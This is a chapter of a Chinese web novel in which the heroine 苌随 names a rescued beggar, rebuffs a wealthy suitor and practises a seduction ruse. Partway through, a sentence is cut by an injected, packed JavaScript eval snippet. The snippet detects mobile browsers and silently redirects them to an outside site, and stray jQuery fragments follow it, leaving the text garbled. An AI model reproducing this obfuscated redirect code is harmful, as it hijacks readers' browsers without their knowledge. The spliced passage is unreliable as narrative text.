12. 第一次被迫营业

作品:《楼主虐妻掉马后火葬场了

    “我也不太确定。”苌随没想到他洗干净之后,倒也算个俊俏少年郎。


    二人仔细盯着他,将他从头到脚打量一番。


    乞丐被盯得有些紧张,生怕她们不要他,“我是,我是。”


    “别紧张,既然把你带回来了,就不会再赶你走。”丹妡温声安慰。


    乞丐紧张看向苌随,见她点头,这才放心下来。


    丹妡问:“你多大了?”


    “十八。”


    “还挺小,那你以后叫我们姐姐就行。她叫阿随,我叫阿妡。”


    乞丐点点头。


    苌随问:“你叫什么名字?”


    乞丐摇摇头,“我没有名字,他们……都叫我小结巴。”


    苌随与丹妡对视一眼。


    “你带他回来的,要不你给他取个名字?”


    “我……”苌随面露难色,“我不擅长取名呀。”


    取名这事,倒是苼羽擅长的。


    苌随思索片刻,“要不就叫保福吧?寓意既能够饱腹,也能保住福气。”


    “还真是简单直接。”丹妡无奈一笑。


    “我喜欢这个名字!”乞丐欣喜万分,“我这辈子……唯一的愿望,就是能够填饱肚子!”


    苌随闻言心生感慨。


    她从前沦落街头之时,唯一的愿望,也是吃饱。


    下一刻,保福突然跪地,眼中含泪大声道:“阿随姐姐,谢谢你!”


    他真的太感激她了,不仅出手帮他,带他吃了一顿饱饭,还愿意将他留在身边。


    他在心中暗暗发誓,这辈子都要给她当牛做马,好好报答她!


    苌随立即起身,扶他起来,“快起来,今后在我面前不用跪。”


    “嗯!”保福点头应下,又问,“我……我需要做些什么?”


    苌随顿了顿,“你多说说话吧,先改改你这结巴的毛病。”


    “好!”


    丹妡忽道:“阿随,我先带他出去找个住处吧。他待在你这,你也不太方便。”


    “好,麻烦你了。”


    随后丹妡便带着保福离开,找管事妈妈给他安排个住处。


    管事妈妈便给他安排在很多天香楼伙计住的屋子里住下。


    见他有了住处,丹妡才回到苌随屋内,为她再次上了药后,便回自己房中休息。


    苌随也静静躺在床上,放空自己,好好休息,不到一会儿就入睡了。


    她睡得很沉,只觉自己睡了很久,直到门外传来敲门声,才渐渐清醒过来。


    “咚咚咚。”


    苌随起身前去开门,她本以为是丹妡,结果却是管事妈妈。


    “找我何事?”


    管事妈妈解释道:“我跟你商量个事啊,方才来了位公子,他说想见你一面。我已经收了他的钱了,你看看能不能去见见他?”


    怎么突然有人要见她?她往日一直待在房内,已尽量避免与那些男人相见。


    定是来者不善。


    “你这哪是要和我商量?分明只是来告诉我一声。”苌随直接拒绝,“不去。”


    她刚要关门,管事妈妈急忙拦住她,“哎哟,我的祖宗啊!你就去见他一面吧,耽误不了你太多时间的!而且呀,他很有钱的,你们这一行的,肯定也想多赚点钱吧!”


    “想赚钱是不假,但我不想赚这份钱。”苌随言语坚定,“我不会见他的。”


    她推开她抵住门的手,准备关门,可又有一道声音传来。


    “姑娘就这么不想见我?”


    一个拿着折扇的年轻男子走进苌随视线,他来到门前,笑着看向苌随。


    苌随眼中闪过一丝鄙夷。


    知道她不想见他,还上赶着过来,脸皮还真是厚。


    “哎呀,阿随呀,你看李公子都亲自过来了,你就请他进去喝杯茶呗!”


    这是逼她待客了。


    苌随立即面露微笑,侧身抬手,“李公子请。”


    “哎呀,这就对了嘛!”管事妈妈笑嘻嘻点头,赶忙请男子进去,随即关上房门。


    二人走到桌旁,坐了下来。


    “我并不认识公子,公子为何要见我?”苌随不解问。


    “我与姑娘确实并不相识。”男子笑着道,“但昨日,在下已见过姑娘。”


    “昨日?”


    “昨日,我正好碰见姑娘挺身而出,相助一名乞丐。”


    原来是在那个时候,看到了她。


    苌随有些疑惑,“那公子又是如何得知我是天香楼的人?并且又是如何得知我的名字?”


    男子答:“因为,我听到了有人叫你阿随。”


    他指的是时烆,所以他当时一直在场,还听到了她与时烆的对话。


    “原来是这样。”苌随又问,“那公子前来寻我,又是所为何事?”


    “没什么事。”男子温声道,“只不过是昨日得见姑娘风采后,便对佳人念念不忘。今日才亲自来此想一睹芳容,顺便与姑娘交个朋友。”


    苌随内心满是无语。


    呵,说得好听。


    他一个富家公子,怎么可能因这点小事就看上她,肯定是另有所图。


    而他图的,想想便能猜到。


    他意不在她,而在时烆。


    昨日她与两人都说了话,而这两人,一个是当今丞相的儿子,一个是皇帝身边的女官,都是位高权重之人。


    他想与她交友,不过是认为她与他们二人可能有些关系,便企图通过她,与他们相识,攀附权贵。


    可惜,她与他们并不熟,他的如意算盘打错了。


    “谢公子青睐,只不过奴家已有心上人,只能辜负公子好意了。”


    男子惊讶,“心上人?可是昨日那位与你说话的公子?”


    还在这装。


    “并非是他。”苌随神色平静,“我与那位公子并不熟,只不过是偶然见过两次罢了。”


    听闻此话,男子顿时变了脸色,又意识到什么,立马恢复笑容,“原来如此。”


    他停顿片刻,“天色已晚,在下就不打扰姑娘了,姑娘好好休息。”


    “好,公子慢走。”苌随起身送他离开。


    住在旁边的丹妡方才听到动静,已知晓苌随被迫接客之事。


    见男子离开,她立即开门来到苌随屋中。


    “这人是谁?为何见你?”


    苌随向她解释:“不过是个富家公子,昨日碰见我相助保福。而那时,时烆正好也在场。他误以为我与他相熟,才前来寻我交个朋友。”


    “时烆?”丹妡面色渐沉,“你之前就是因为刺杀他失败被楼主重罚,怎么还敢与他……”


    “只是偶然碰见的,说了几句话而已。放心,我没有暴露。”


    “今后若遇到他,尽量绕道走,别离他太近。”丹妡认真叮嘱。


    “嗯。”苌随应下。


    ……


    两日后。


    苌随的伤已经差不多好了,而保福说话也已经不结巴了。


    她便准备开始练舞和练美人计,练武就暂时先放到一边了。等伤完全好,再练不迟。


    这日早上,她又如往常一般认真练舞,午时用过饭后便上床休息。


    睡醒后,她又开始练习美人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933715|192822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    计。她学着丹妡教给她的招数,模仿她的语气姿态,来来回回练了好几遍。


    经过多番练习,她已经练得差不多了。


    申时,丹妡前来。


    “练得如何了?”丹妡问。


    “差不多会了。”苌随答。


    “好。”丹妡一笑,“那今日就来试一试。”


    虽然苌随早就有心理准备,但真到了这时候,还是觉得有些为难。而且,对着那么一个年纪轻轻又天真无邪的弟弟做这种事,实在难为情。


    “真的……要对他试吗?”


    “不然你还真想随便找一个陌生男人?”丹妡平静自然,“保福既年轻,模样也不错,又与我们已相识几日,是目前为止最合适不过的人选了。”


    苌随犹豫片刻,无奈应下:“好。”


    她在心中告诉自己,这只是完成任务,没什么大不了的。她可以做到,也必须做到最好。


    “我为你梳妆。”


    苌随没想到,丹妡竟还要亲自帮她妆扮一番,以求真实。


    这次,不是简单的练习了,而是真正的试验。


    丹妡将她从头到脚精心装扮许久,给她换上一身明艳的红色衣裙,为她梳发簪发,戴上耳饰,又化上精美妆容。


    此刻,镜中女子实乃一副美人模样,摄人心魄,明媚动人。


    苌随看着铜镜中的自己,都不由发愣,内心深深感叹丹妡的技艺高超。


    “阿妡,你也太厉害了。”


    “是你本就长得好看。”丹妡宠溺一笑。


    苌随闻言呆愣片刻,渐渐垂眸扬唇,“谢谢。”


    随后丹妡便离屋将保福带来。


    步入屋内,保福见到苌随的一瞬间,就怔住了。


    眼前女子身着红裙,一头墨发垂落腰间,华美发钗簪入发髻,面上并非浓妆艳抹,却也显得格外美丽动人。


    保福愣在原地,目不转睛看着苌随,眼睛都没有眨一下。


    丹妡瞧他这模样,倒不觉意外,反而是欣喜美人计已成功了一半。


    “好看吗?”


    保福愣了愣神,才反应过来丹妡的问话。


    “好……好看。”


    苌随没注意他的回答,只在意他的语气,“怎么又结巴了?”


    “我……我……”保福一时不知怎么说话。


    丹妡笑了起来,“看见这么一个大美人在面前,说话能不结巴嘛?”


    苌随一顿,觉得好像有些道理。


    丹妡又转向保福,从容对他说:“待会,无论阿随对你做什么,你都只要保持一个男人的正常反应就好。并且,你想对她说什么,做什么,都可以。”


    保福傻傻愣住,根本不理解她的话是什么意思,也不知道苌随要对他做什么,但也乖乖点了点头。


    随后丹妡退到一旁,静静看着二人,“开始吧。”


    苌随眼神变得坚定,准备开始使用真正的“美人计”。


    她缓步走到他身旁,嗓音转为柔和,缓缓道:“保福,我今日,美吗?”


    “美,很美!”保福脱口而出,毫不犹豫。


    苌随闻言,先是扬唇一笑,却又突然止住笑容。


    眉头微微蹙起,紧接着一个巴掌朝着他的左脸甩了过去。


    不过这声响倒是不大,可以看出打得很轻。


    保福和丹妡同时怔住。


    “油嘴滑舌。”苌随语气娇柔,却又带着几分怒意。


    保福一时不知所措,刚想开口说他错了,却见苌随面色再次一变。


    她上前一步,露出担忧之态,急切询问:“是不是很疼?”